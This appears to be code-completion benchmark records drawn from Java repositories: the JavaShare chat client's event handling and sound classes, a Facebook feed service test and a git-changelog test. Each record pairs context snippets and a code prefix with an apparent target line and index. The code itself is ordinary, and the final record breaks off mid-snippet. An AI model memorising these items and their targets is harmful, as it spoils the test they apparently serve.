BeShareUser(sessionIDFromNode(fieldName));\r\n\t\t\t\t\t\t\tuser.setIPAddress(ipFromNode(fieldName));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"name\", B_STRING_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setName(userNameNode.getString(\"name\"));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"installid\", B_INT64_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setInstallID(userNameNode.getLong(\"installid\"));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"port\", B_INT32_TYPE)) {\r\n\t\t\t\t\t\t\t\tSystem.out.println(fieldName + \" Port: \" + userNameNode.getInt(\"port\"));\r\n\t\t\t\t\t\t\t\tuser.setPort(userNameNode.getInt(\"port\"));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"bot\", B_BOOL_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setBot(userNameNode.getBoolean(\"bot\"));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"version_name\", B_STRING_TYPE) && \r\n\t\t\t\t\t\t\t\tuserNameNode.hasField(\"version_num\", B_STRING_TYPE))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tuser.setClient(userNameNode.getString(\"version_name\") + \" \" +\r\n\t\t\t\t\t\t\t\t\t\t\tuserNameNode.getString(\"version_num\"));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"userstatus\", B_STRING_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setStatus(userNameNode.getString(\"userstatus\"));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"cur\", B_INT32_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setUploadCurrent(userNameNode.getInt(\"cur\"));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"max\", B_INT32_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setUploadMax(userNameNode.getInt(\"max\"));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"label\", B_STRING_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setBandwidthLabel(userNameNode.getString(\"label\"));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"bps\", B_INT32_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setBandwidthBps(userNameNode.getInt(\"bps\"));\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"fires\"))\r\n\t\t\t\t\t\t\t\tuser.setFirewall(true);\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"files\"))\r\n\t\t\t\t\t\t\t\tuser.setFirewall(false);\r\n\t\t\t\t\t\t\tif (userNameNode.hasField(\"filecount\", B_INT32_TYPE))\r\n\t\t\t\t\t\t\t\tuser.setFileCount(userNameNode.getInt(\"filecount\"));\r\n\t\t\t\t\t\t\tif (updatedNode.equals(\"name\"))\r\n\t\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\t\tnew JavaShareEvent(this, JavaShareEvent.USER_CONNECTED, user, getServerName()));\r\n\t\t\t\t\t\t\telse if (updatedNode.equals(\"userstatus\"))\r\n\t\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\t\tnew JavaShareEvent(this, JavaShareEvent.USER_STATUS_CHANGE, user, getServerName()));\r\n\t\t\t\t\t\t\telse if (updatedNode.equals(\"uploadstats\"))\r\n\t\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\t\tnew JavaShareEvent(this, JavaShareEvent.USER_UPLOAD_STATS_CHANGE, user, getServerName()));\r\n\t\t\t\t\t\t\telse if (updatedNode.equals(\"bandwidth\"))\r\n\t\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\t\tnew JavaShareEvent(this, JavaShareEvent.USER_BANDWIDTH_CHANGE, user, getServerName()));\r\n\t\t\t\t\t\t\telse if (updatedNode.equals(\"fires\"))\r\n\t\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\t\tnew JavaShareEvent(this, JavaShareEvent.USER_FIREWALL_CHANGE, user, getServerName()));\r\n\t\t\t\t\t\t\telse if (updatedNode.equals(\"files\"))\r\n\t\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\t\tnew JavaShareEvent(this, JavaShareEvent.USER_FIREWALL_CHANGE, user, getServerName()));\r\n\t\t\t\t\t\t\telse if (updatedNode.equals(\"filecount\"))\r\n\t\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\t\tnew JavaShareEvent(this, JavaShareEvent.USER_FILE_COUNT_CHANGE, user, getServerName()));\r\n\t\t\t\t\t\t} else if (getPathDepth(fieldName) == FILE_INFO_DEPTH && queryActive) {\r\n\t\t\t\t\t\t\tMessage fileInfo = message.getMessage(fieldName);\r\n\t\t\t\t\t\t\tSharedFileInfoHolder holder = new SharedFileInfoHolder();\r\n\t\t\t\t\t\t\tholder.setSessionID(sessionIDFromNode(fieldName));\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tif (fileInfo.hasField(\"beshare:File Size\"))\r\n\t\t\t\t\t\t\t\tholder.setSize(fileInfo.getLong(\"beshare:File Size\"));\r\n\t\t\t\t\t\t\tif (fileInfo.hasField(\"beshare:Path\"))\r\n\t\t\t\t\t\t\t\tholder.setPath(fileInfo.getString(\"beshare:Path\"));\r\n\t\t\t\t\t\t\tif (fileInfo.hasField(\"beshare:Kind\"))\r\n\t\t\t\t\t\t\t\tholder.setKind(fileInfo.getString(\"beshare:Kind\"));\r\n\t\t\t\t\t\t\tif (fieldName.indexOf(\"files/\") != -1)\r\n\t\t\t\t\t\t\t\tholder.setName(lastNodeElement(fieldName, \"files/\"));\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\tholder.setName(lastNodeElement(fieldName, \"fires/\"));\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tThread.yield(); // Force the query to play nice.\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\tnew JavaShareEvent(holder, JavaShareEvent.FILE_INFO_ADD_TO_RESULTS));\r\n\t\t\t\t\t\t} // FILE_INFO_DEPTH\r\n\t\t\t\t\t} // B_MESSAGE_TYPE\r\n\t\t\t\t} // Next field name\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t * @return the name of the last node element.\r\n\t */\r\n\tprivate final String lastNodeElement(String node) {\r\n\t\treturn node.substring(node.lastIndexOf('/') + 1);\r\n\t}\r\n\t\r\n\t/**\r\n\t * @param node the full path to the node containing the data\r\n\t * @param element the name of the node containing the data. ex. \"/files\"\r\n\t * @return the contents of the last node element\r\n\t */\r\n\tprivate final String lastNodeElement(String node, String element) {\r\n\t\treturn node.substring(node.lastIndexOf(element) + element.length(), node.length());\r\n\t}\r\n\t\r\n\t/**\r\n\t * @param node a node to get the session ID from.\r\n\t * @return the session ID where this node originates from\r\n\t */\r\n\tprivate final String sessionIDFromNode(String node) {\r\n\t\tint start = node.indexOf('/', 1) + 1;\r\n\t\treturn node.substring(start, node.indexOf('/', start));\r\n\t}\r\n\t\r\n\t/**\r\n\t * @param node a node to get the IPAddress from\r\n\t * @return the IP address of the originating host.\r\n\t */\r\n\tprivate final String ipFromNode(String node) {\r\n\t\treturn node.substring(1, node.indexOf('/', 1));\r\n\t}\r\n\t\r\n\t/**\r\n\t * Taks a Server Information message and sends the information out to the JavaShare Listeners\r\n\t * by calling logInformation();\r\n\t */\r\n\tprotected final void processServerInfo(Message message) throws Exception {\r\n\t\trequestedServerInfo = false;\r\n\t\tlogInformation(\"Server status requested.\");\r\n\t\tif (message.hasField(PR_NAME_SERVER_VERSION))\r\n\t\t\tlogInformation(\"Server version: \" + message.getString(PR_NAME_SERVER_VERSION));\r\n\t\tif (message.hasField(PR_NAME_SERVER_UPTIME)) {\r\n\t\t\tlong seconds = message.getLong(PR_NAME_SERVER_UPTIME) / 1000000;\r\n\t\t\tlong minutes = seconds / 60; seconds = seconds % 60;\r\n\t\t\tlong hours = minutes / 60; minutes = minutes % 60;\r\n\t\t\tlong days = hours / 24; hours = hours % 24;\r\n\t\t\tlong weeks = days / 7; days = days % 7;\r\n\t\t\tlogInformation(\"Server uptime: \" + weeks + \" weeks, \" + days + \" days, \" + hours + \r\n\t\t\t\t\t\t\t\":\" + minutes + \":\" + seconds);\r\n\t\t}\r\n\t\tif (message.hasField(PR_NAME_SESSION_ROOT))\r\n\t\t\tlogInformation(\"Local Session Root: \" + message.getString(PR_NAME_SESSION_ROOT));\r\n\t\tif (message.hasField(PR_NAME_SERVER_MEM_AVAILABLE) && message.hasField(PR_NAME_SERVER_MEM_USED)) {\r\n\t\t\tfinal float oneMeg = 1024.0f * 1024.0f;\r\n\t\t\tfloat memAvailableMB = ((float)message.getLong(PR_NAME_SERVER_MEM_AVAILABLE)) / oneMeg;\r\n\t\t\tfloat memUsedMB = ((float)message.getLong(PR_NAME_SERVER_MEM_USED)) / oneMeg;\r\n\t\t\tlogInformation(\"Server memory usage: \" + memUsedMB + \"MB used (\" + \r\n\t\t\t\t\t\t\tmemAvailableMB + \"MB available)\");\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t * Sends <code>message</code> as a System information chat message\r\n\t *\r\n\t * @param message - The Text to display as an informational message.\r\n\t */\r\n\tprotected final void logInformation(String message) {\r\n\t\tfireJavaShareEvent(\r\n\t\t\tnew JavaShareEvent(\r\n\t\t\t\tnew ChatMessage(\"\",\r\n\t\t\t\t\tmessage, false,\tChatMessage.LOG_INFORMATION_MESSAGE),\r\n\t\t\t\tJavaShareEvent.CHAT_MESSAGE));\r\n\t}\r\n\t\r\n\t/**\r\n\t *\treturns the depth in the path the last node is\r\n\t *\t@param path The path to parse for it's depth.\r\n\t */\r\n\tprivate int getPathDepth(String path){\r\n\t\tif (path.equals(\"/\")) return 0;\r\n\t\tint depth = 0;\r\n\t\tfor (int i = path.length()-1; i >= 0; i--)\r\n\t\t\tif (path.charAt(i) == '/') depth++;\r\n\t\treturn depth;\r\n\t}\r\n\t\r\n\t/** @return the Timeout setting in milliseconds. */\r\n\tprivate long getTimeout() {\r\n\t\treturn connectionTimeout * 1000;\r\n\t}\r\n\t\r\n\t/** Sets the timeout setting. @param seconds Consider it a timeout if inactive for this many seconds. */\r\n\tprivate void setTimeout(int seconds) {\r\n\t\tconnectionTimeout = seconds;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Thread to test the connection activity and re-connect to the MUSCLE server if need be.\r\n\t */\r\n\tprivate class ConnectionCheck extends Thread {\r\n\t\t/**\r\n\t\t * Creates a new Connection Checking daemon thread.\r\n\t\t * This thread runs as a Daemon, and will check the connection every if no\r\n\t\t * muscle activity has taken place for getTimeout() seconds. If a muscle message\r\n\t\t * is received, no action is taken.\r\n\t\t */\r\n\t\tpublic ConnectionCheck() {\r\n\t\t\tsetDaemon(true);\r\n\t\t\tsetName(\"MUSCLE_Activity_Monitor\");\r\n\t\t}\r\n\t\t\r\n\t\t/**\r\n\t\t * Runs the thread connection test\r\n\t\t */\r\n\t\tpublic void run() {\r\n\t\t\twhile(true) {\r\n\t\t\t\tif (isConnected()) {\r\n\t\t\t\t\tif (!recentActivity) { // We send a check.\r\n\t\t\t\t\t\tbeShareTransceiver.sendOutgoingMessage(new Message(PR_COMMAND_NOOP));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\ttry {\r\n\t\t\t\t\tsleep(getTimeout()); // 2.5 minutes\r\n\t\t\t\t} catch (InterruptedException ie) {\r\n\t\t\t\t\t// What, you think I care about this exception?!\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t * Performs the time-delayed auto-reconnect.\r\n\t */\r\n\tprivate class AutoReconnector extends Thread {\r\n\t\tprivate int waitTime = 0;\r\n\t\t\r\n\t\t/**\r\n\t\t * Creates a new AutoReconnect thread.\r\n\t\t */\r\n\t\tpublic AutoReconnector() {\r\n\t\t\tsetDaemon(true);\r\n\t\t\tsetName(\"Auto_Reconnect\");\r\n\t\t}\r\n\t\t\r\n\t\t/**\r\n\t\t * Called by the threads start() method.\r\n\t\t */\r\n\t\tpublic void run() {\r\n\t\t\twhile (true) {\r\n\t\t\t\tif (isConnected()) {\r\n\t\t\t\t\t// If we're connected, bail out!\r\n\t\t\t\t\treturn;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tswitch (waitTime) {\r\n\t\t\t\t\t\tcase 0:\r\n\t\t\t\t\t\t\t// Reconnecting now message\r\n\t\t\t\t\t\t\tfireJavaShareEvent(new JavaShareEvent(\r\n\t\t\t\t\t\t\t\tnew ChatMessage(\"\",\r\n\t\t\t\t\t\t\t\t\t\"Reconnecting...\",\r\n\t\t\t\t\t\t\t\t\tfalse,\r\n\t\t\t\t\t\t\t\t\tChatMessage.LOG_INFORMATION_MESSAGE),\r\n\t\t\t\t\t\t\t\t\tJavaShareEvent.CHAT_MESSAGE)\r\n\t\t\t\t\t\t\t);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 30:\r\n\t\t\t\t\t\t\t// Seconds Message\r\n\t\t\t\t\t\t\tfireJavaShareEvent(new JavaShareEvent(\r\n\t\t\t\t\t\t\t\tnew ChatMessage(\"\",\r\n\t\t\t\t\t\t\t\t\t\"Reconnecting in \" + waitTime + \" seconds...\",\r\n\t\t\t\t\t\t\t\t\tfalse,\r\n\t\t\t\t\t\t\t\t\tChatMessage.LOG_INFORMATION_MESSAGE),\r\n\t\t\t\t\t\t\t\t\tJavaShareEvent.CHAT_MESSAGE)\r\n\t\t\t\t\t\t\t);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 60:\r\n\t\t\t\t\t\t\t// Minutes message\r\n\t\t\t\t\t\t\tfireJavaShareEvent(new JavaShareEvent(\r\n\t\t\t\t\t\t\t\tnew ChatMessage(\"\",\r\n\t\t\t\t\t\t\t\t\t\"Reconnecting in \" + (waitTime / 60) + \" minute...\",\r\n\t\t\t\t\t\t\t\t\tfalse,\r\n\t\t\t\t\t\t\t\t\tChatMessage.LOG_INFORMATION_MESSAGE),\r\n\t\t\t\t\t\t\t\t\tJavaShareEvent.CHAT_MESSAGE)\r\n\t\t\t\t\t\t\t);\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t// Minutes message\r\n\t\t\t\t\t\t\tfireJavaShareEvent(new JavaShareEvent(\r\n\t\t\t\t\t\t\t\tnew ChatMessage(\"\",\r\n\t\t\t\t\t\t\t\t\t\"Reconnecting in \" + (waitTime / 60) + \" minutes...\",\r\n\t\t\t\t\t\t\t\t\tfalse,\r\n\t\t\t\t\t\t\t\t\tChatMessage.LOG_INFORMATION_MESSAGE),\r\n\t\t\t\t\t\t\t\t\tJavaShareEvent.CHAT_MESSAGE)\r\n\t\t\t\t\t\t\t);\r\n\t\t\t\t\t}\r\n\t\t\t\t\ttry {\r\n\t\t\t\t\t\tsleep(waitTime * 1000);\r\n\t\t\t\t\t\tif (waitTime == 0)\r\n\t\t\t\t\t\t\twaitTime = 30;\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\twaitTime *= 2;\r\n\t\t\t\t\t\tconnect();\r\n\t\t\t\t\t} catch (InterruptedException ie) {\r\n\t\t\t\t\t\t// Who cares?\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t}\r\n}\r", "public class AppletSoundThreadManager extends ApplicationSoundThreadManager {\n\tApplet\tsoundSource;\n\t\n\tpublic AppletSoundThreadManager(String sPack, Applet src){\n\t\tsuper(sPack);\n\t\tsoundSource = src;\n\t}\n\t\n\tpublic AppletSoundThreadManager(Applet src){\n\t\tthis(\"Default\", src);\n\t}\n\t\n\t/**\n\t * Plays the Sound, constructing the clip from the Applet passed to the constructor.\n\t * @overrides ApplicationSoundThreadManager.playSound\n\t */\n\tprotected Object playSound(String soundToPlay) {\n\t\t// Load it from the cache.\n\t\tAudioClip clip = (AudioClip)soundCache.get(soundToPlay);\n\t\t\n\t\t// Construct a new AudioClip and cache it.\n\t\tif (clip == null) {\n\t\t\ttry{\n\t\t\t\tclip = soundSource.getAudioClip(new URL(soundSource.getParameter(\"SoundDirURL\") + \"/\" + soundToPlay));\n\t\t\t\tsoundCache.put(soundToPlay, clip);\n\t\t\t} catch (NullPointerException npe){\n\t\t\t} catch (NoSuchMethodError nsme){\n\t\t\t} catch (MalformedURLException mue){\n\t\t\t\tSystem.out.println(mue.toString());\n\t\t\t}\n\t\t}\n\t\t\n\t\t// If the clip was somehow properly constructed or retrieved from the cache, play it.\n\t\tif (clip != null) {\n\t\t\tclip.play();\n\t\t}\n\t\t\n\t\treturn \"done\";\n\t}\n}", "public class ApplicationSoundThreadManager implements SoundEventListener {\r\n\tprotected String soundPackName = \"\";\r\n\tprotected Hashtable soundCache;\r\n\t\r\n\tpublic ApplicationSoundThreadManager(String sPack){\r\n\t\tsoundPackName = sPack + \"/\";\r\n\t\tsoundCache = new Hashtable();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Default constructor. Will use the \"Default\" sound pack.\r\n\t */\r\n\tpublic ApplicationSoundThreadManager(){\r\n\t\tthis(\"Default\");\r\n\t}\r\n\t\r\n\t/**\r\n\t * Sets the sound pack to load the sounds from.\r\n\t */\r\n\tpublic void setSoundPack(String sPack){\r\n\t\tsoundPackName = sPack + \"/\";\r\n\t}\r\n\t\r\n\t/**\r\n\t * A sound event occured. Any recognized events will cause a sound to be played.\r\n\t */\r\n\tpublic void beShareSoundEventPerformed(SoundEvent bsse){\r\n\t\tswitch(bsse.getType()){\r\n\t\t\tcase SoundEvent.USER_NAME_MENTIONED: {\r\n\t\t\t\tSwingWorker soundPlayer = new SwingWorker() {\r\n\t\t\t\t\tpublic Object construct() {\r\n\t\t\t\t\t\treturn playSound(soundPackName + \"UserNameMentioned.au\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\tpublic void finished() {\r\n\t\t\t\t\t}\r\n\t\t\t\t};\r\n\t\t\t\tsoundPlayer.start();\r\n\t\t\t} break;\r\n\t\t\tcase SoundEvent.PRIVATE_MESSAGE_RECEIVED:{\r\n\t\t\t\tSwingWorker soundPlayer = new SwingWorker() {\r\n\t\t\t\t\tpublic Object construct() {\r\n\t\t\t\t\t\treturn playSound(soundPackName + \"PrivateMessage.au\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\tpublic void finished() {\r\n\t\t\t\t\t}\r\n\t\t\t\t};\r\n\t\t\t\tsoundPlayer.start();\r\n\t\t\t} break;\r\n\t\t\tcase SoundEvent.WATCHED_USER_SPEAKS:{\r\n\t\t\t\tSwingWorker soundPlayer = new SwingWorker() {\r\n\t\t\t\t\tpublic Object construct() {\r\n\t\t\t\t\t\treturn playSound(soundPackName + \"WatchedUserSpoke.au\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\tpublic void finished() {\r\n\t\t\t\t\t}\r\n\t\t\t\t};\r\n\t\t\t\tsoundPlayer.start();\r\n\t\t\t} break;\r\n\t\t\tcase SoundEvent.PRIVATE_MESSAGE_WINDOW:{\r\n\t\t\t\tSwingWorker soundPlayer = new SwingWorker() {\r\n\t\t\t\t\tpublic Object construct() {\r\n\t\t\t\t\t\treturn playSound(soundPackName + \"PrivateWindowPopup.au\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\tpublic void finished() {\r\n\t\t\t\t\t}\r\n\t\t\t\t};\r\n\t\t\t\tsoundPlayer.start();\r\n\t\t\t} break;\r\n\t\t}\r\n\t}\t\r\n\t/**\r\n\t * Work method to play the sound.\r\n\t */\r\n\tprotected Object playSound(String soundToPlay) {\r\n\t\t// Load it from the cache.\r\n\t\tAudioClip clip = (AudioClip)soundCache.get(soundToPlay);\r\n\t\t\r\n\t\t// Construct a new AudioClip and cache it.\r\n\t\tif (clip == null) {\r\n\t\t\ttry{\r\n\t\t\t\tclip = Applet.newAudioClip(ClassLoader.getSystemResource(soundToPlay));\r\n\t\t\t\tsoundCache.put(soundToPlay, clip);\r\n\t\t\t} catch (NullPointerException npe){\r\n\t\t\t} catch (NoSuchMethodError nsme){\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// If the clip was somehow properly constructed or retrieved from the cache, play it.\r\n\t\tif (clip != null) {\r\n\t\t\tclip.play();\r\n\t\t}\r\n\t\t\r\n\t\treturn \"done\";\r\n\t}\r\n}\r", "public class SystemBeep implements SoundEventListener {\r\n\tToolkit\t\tSystemTk;\r\n\t\r\n\t/**\r\n\t * Default Constructor. Initializes the listener.\r\n\t */\r\n\tpublic SystemBeep(){\r\n\t\tSystemTk = Toolkit.getDefaultToolkit();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Implements the Listener. And calls Toolkit.beep() for every event received.\r\n\t */\r\n\tpublic void beShareSoundEventPerformed(SoundEvent bsse){\r\n\t\tSystemTk.beep();\r\n\t}\r\n\t\r\n\t/**\r\n\t * This method does nothing. It's here to fully implement the shound listener\r\n\t */\r\n\tpublic void setSoundPack(String s){\r\n\t}\r\n}\r" ]
import blv.swing.AboutDialog; import com.meyer.muscle.message.Message; import com.meyer.muscle.support.Rect; import gnu.regexp.RE; import gnu.regexp.REException; import org.beShare.data.*; import org.beShare.event.*; import org.beShare.gui.prefPanels.JavaSharePrefListener; import org.beShare.network.Tranto; import org.beShare.sound.AppletSoundThreadManager; import org.beShare.sound.ApplicationSoundThreadManager; import org.beShare.sound.SystemBeep; import javax.swing.*; import javax.swing.Timer; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.DataOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.net.URL; import java.net.URLClassLoader; import java.util.*;
/* Change Log: * 3.11.2002 - Version 1.0 Final Released! * 4.22.2002 - Updated version Info to reflect work on File Sharing. * 5.8.2002 - Added support for the System Beep method of sound events. * 5.9.2002 - Re-implemented the time stamp System.currentTimeInMillis(). * I haven't found a better way of doing this yet. * 5.13.2002 - Updated version information to reflect the latest development build. * 6.5.2002 - getCompletedName now returns the entire name, and is case-insensitive. * reworked the calling methods to use this. * Begin 2.0 revisions * 7.14.2002 - Reworked some details and got Applet compatibility 100% back. Mostly, * this involves catching NPE's when trying to load ImageIcons. * Also implemented AppletSoundThreadManager in the applet constructor. * Yeah!!! * 7.15.2002 - Condensed the two applet constructors into one. Cleaned up, and began to look * at how to include the query panel. * 7.16.2002 - FindSessionByName is now case-insensitive. * 8.3.2002 - Added getUserData() * 8.4.2002 - Now generates an InstallID on first-run. * 12.17.2002 - Updated the name completion and related functions to parse names for url [label] * I've also commented out the lines that add file sharing to the application. * I'll be making a 1.3 preliminary release soon. * Seems there may still be a bug In Tranto with regards to uploading the user name to the server. * 12.19.2002 - Added addServers() and removeServers(). * Implemented the user Table Column Sorting Preference. * Removed some un-needed instance variables. * 12.23.2002 - Fixed the mystical no-user name bug that was introduced into the 2.0 code base. The installid * message was deleting all the data alread in /beshare/name. This has been fixed by integrating * the installid into the name message. * 12.24.2002 - 1:00 AM - Reworked preference loading to use the new utility class. The code is MUCH cleaner now. * Added the imageCache and loadImage method. All image loading now uses this. This will cut the * overhead and memory useage of the file-sharing, and also makes the Applet properly load images. */ package org.beShare.gui; /** * AppPanel.java - JavaShare 2's main hub panel. * This class handles the translation of incomming * JavaShareEvents into ChatMessages or other froms of * data handling. * * This class does a _LOT_ it's eaiser to understand if you break it down into the various * interfaces it implements. * * This class is responsible for so much, you can honestly say * it's the guts, heart, and soul of the program. * * @version 2.0 * @author Bryan Varner */ public class AppPanel extends JPanel implements JavaShareEventListener, ChatMessageListener, ActionListener, UserHashAccessor, LocalUserDataStore, JavaSharePrefListener { public static final String buildVersion = "2.0 a2 "; public static final String applicationName = "JavaShare"; public static final String pubVersion = applicationName + buildVersion; public static final String AutoUpdateURL = "http://beshare.tycomsystems.com/servers.txt"; public static final int startingPortNumber = 7000; public static final int portRange = 50; private static Hashtable imageCache = new Hashtable(); PrefsFrame prefsFrame; Message programPrefsMessage; JSplitPane queryChatSplit; ChatPanel chatterPanel; boolean saveUserSort; boolean appletMode; LocalUserPanel localUserInfo; Tranto muscleNetIO;
AboutDialog aboutJavaShare;
0
ominidi/ominidi-web
src/test/java/org/ominidi/facebook/service/PageFeedServiceTest.java
[ "@Getter\r\npublic class Feed<Post> implements Iterable<Post> {\r\n private final List<Post> posts;\r\n private final String nextUrl;\r\n private final String prevUrl;\r\n private final Integer size;\r\n\r\n public Feed(List<Post> posts, String nextUrl, String prevUrl) {\r\n this.posts = posts;\r\n this.size = posts.size();\r\n this.nextUrl = nextUrl;\r\n this.prevUrl = prevUrl;\r\n }\r\n\r\n @Override\r\n public Iterator<Post> iterator() {\r\n return posts.iterator();\r\n }\r\n\r\n public Integer size() {\r\n return posts.size();\r\n }\r\n}", "@Getter\r\npublic class Post {\r\n private final String id;\r\n private final String objectId;\r\n private final String createdTime;\r\n private final String type;\r\n private final String link;\r\n private final String permalinkUrl;\r\n private final String picture;\r\n private final String fullPicture;\r\n private final String message;\r\n\r\n public Post(\r\n String id,\r\n String objectId,\r\n String createdTime,\r\n String type,\r\n String link,\r\n String permalinkUrl,\r\n String picture,\r\n String fullPicture,\r\n String message\r\n ) {\r\n this.id = id;\r\n this.objectId = objectId;\r\n this.createdTime = createdTime;\r\n this.type = type;\r\n this.link = link;\r\n this.permalinkUrl = permalinkUrl;\r\n this.picture = picture;\r\n this.fullPicture = fullPicture;\r\n this.message = message;\r\n }\r\n}\r", "public class ConnectionException extends Exception {\r\n public ConnectionException(String message) {\r\n super(message);\r\n }\r\n\r\n public ConnectionException(String message, Throwable cause) {\r\n super(message, cause);\r\n }\r\n\r\n public ConnectionException(Throwable cause) {\r\n super(cause);\r\n }\r\n}\r", "@Component\r\npublic class FeedMapper implements FromType<Connection<JsonObject>, Feed<Post>> {\r\n private PostMapper postMapper;\r\n\r\n @Autowired\r\n public FeedMapper(PostMapper postMapper) {\r\n this.postMapper = postMapper;\r\n }\r\n\r\n @Override\r\n public Feed<Post> fromType(Connection<JsonObject> toMap) {\r\n List<Post> posts = toMap.getData().stream().map(jsonObject -> new Post(\r\n jsonObject.getString(\"id\", null),\r\n jsonObject.getString(\"object_id\", null),\r\n jsonObject.getString(\"created_time\", null),\r\n jsonObject.getString(\"type\", null),\r\n jsonObject.getString(\"link\", null),\r\n jsonObject.getString(\"permalink_url\", null),\r\n jsonObject.getString(\"picture\", null),\r\n jsonObject.getString(\"full_picture\", null),\r\n jsonObject.getString(\"message\", null)\r\n )).collect(Collectors.toList());\r\n\r\n return new Feed<>(posts, toMap.getNextPageUrl(), toMap.getPreviousPageUrl());\r\n }\r\n}\r", "@Component\r\npublic class PostMapper implements FromType<JsonObject, Post> {\r\n\r\n @Override\r\n public Post fromType(JsonObject jsonObject) {\r\n return new Post(\r\n jsonObject.getString(\"id\", null),\r\n jsonObject.getString(\"object_id\", null),\r\n jsonObject.getString(\"created_time\", null),\r\n jsonObject.getString(\"type\", null),\r\n jsonObject.getString(\"link\", null),\r\n jsonObject.getString(\"permalink_url\", null),\r\n jsonObject.getString(\"picture\", null),\r\n jsonObject.getString(\"full_picture\", null),\r\n jsonObject.getString(\"message\", null)\r\n );\r\n }\r\n}\r", "public interface ConnectionAware {\r\n Connection<JsonObject> getConnection() throws ConnectionException;\r\n Connection<JsonObject> getConnection(String connectionPageUrl) throws ConnectionException;\r\n JsonObject getObject(String id) throws ConnectionException;\r\n}\r" ]
import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.runners.MockitoJUnitRunner; import com.restfb.Connection; import com.restfb.json.JsonObject; import org.ominidi.domain.model.Feed; import org.ominidi.domain.model.Post; import org.ominidi.facebook.exception.ConnectionException; import org.ominidi.facebook.mapper.FeedMapper; import org.ominidi.facebook.mapper.PostMapper; import org.ominidi.facebook.repository.ConnectionAware; import java.util.Optional; import static org.mockito.Mockito.*; import static org.junit.Assert.*;
package org.ominidi.facebook.service; @RunWith(MockitoJUnitRunner.class) public class PageFeedServiceTest { @Mock private Connection<JsonObject> connection; @Mock private ConnectionAware pageFeed; @Mock private FeedMapper feedMapper; @Mock
private PostMapper postMapper;
4
tomasbjerre/git-changelog-lib
src/test/java/se/bjurr/gitchangelog/api/GitChangelogApiTest.java
[ "public static GitChangelogApi gitChangelogApiBuilder() {\n return new GitChangelogApi();\n}", "public static final String ZERO_COMMIT = \"0000000000000000000000000000000000000000\";", "public static void mock(final RestClient mock) {\n mockedRestClient = mock;\n}", "public class GitHubMockInterceptor implements Interceptor {\n\n private final Map<String, String> mockedResponses = new TreeMap<>();\n\n public GitHubMockInterceptor addMockedResponse(final String url, final String response) {\n this.mockedResponses.put(url, response);\n return this;\n }\n\n @Override\n public Response intercept(final Chain chain) throws IOException {\n final Request original = chain.request();\n\n // Get Request URI.\n final String url = chain.request().url().toString();\n\n if (this.mockedResponses.containsKey(url)) {\n return new Response.Builder()\n .code(200)\n .message(this.mockedResponses.get(url))\n .request(original)\n .protocol(Protocol.HTTP_1_0)\n .body(\n ResponseBody.create(\n MediaType.parse(\"application/json\"), this.mockedResponses.get(url).getBytes()))\n .addHeader(\"content-type\", \"application/json\")\n .build();\n }\n\n fail(\"No mocked response for: \" + url);\n return null;\n }\n}", "public class GitHubServiceFactory {\n static Interceptor interceptor;\n\n public static void setInterceptor(final Interceptor interceptor) {\n 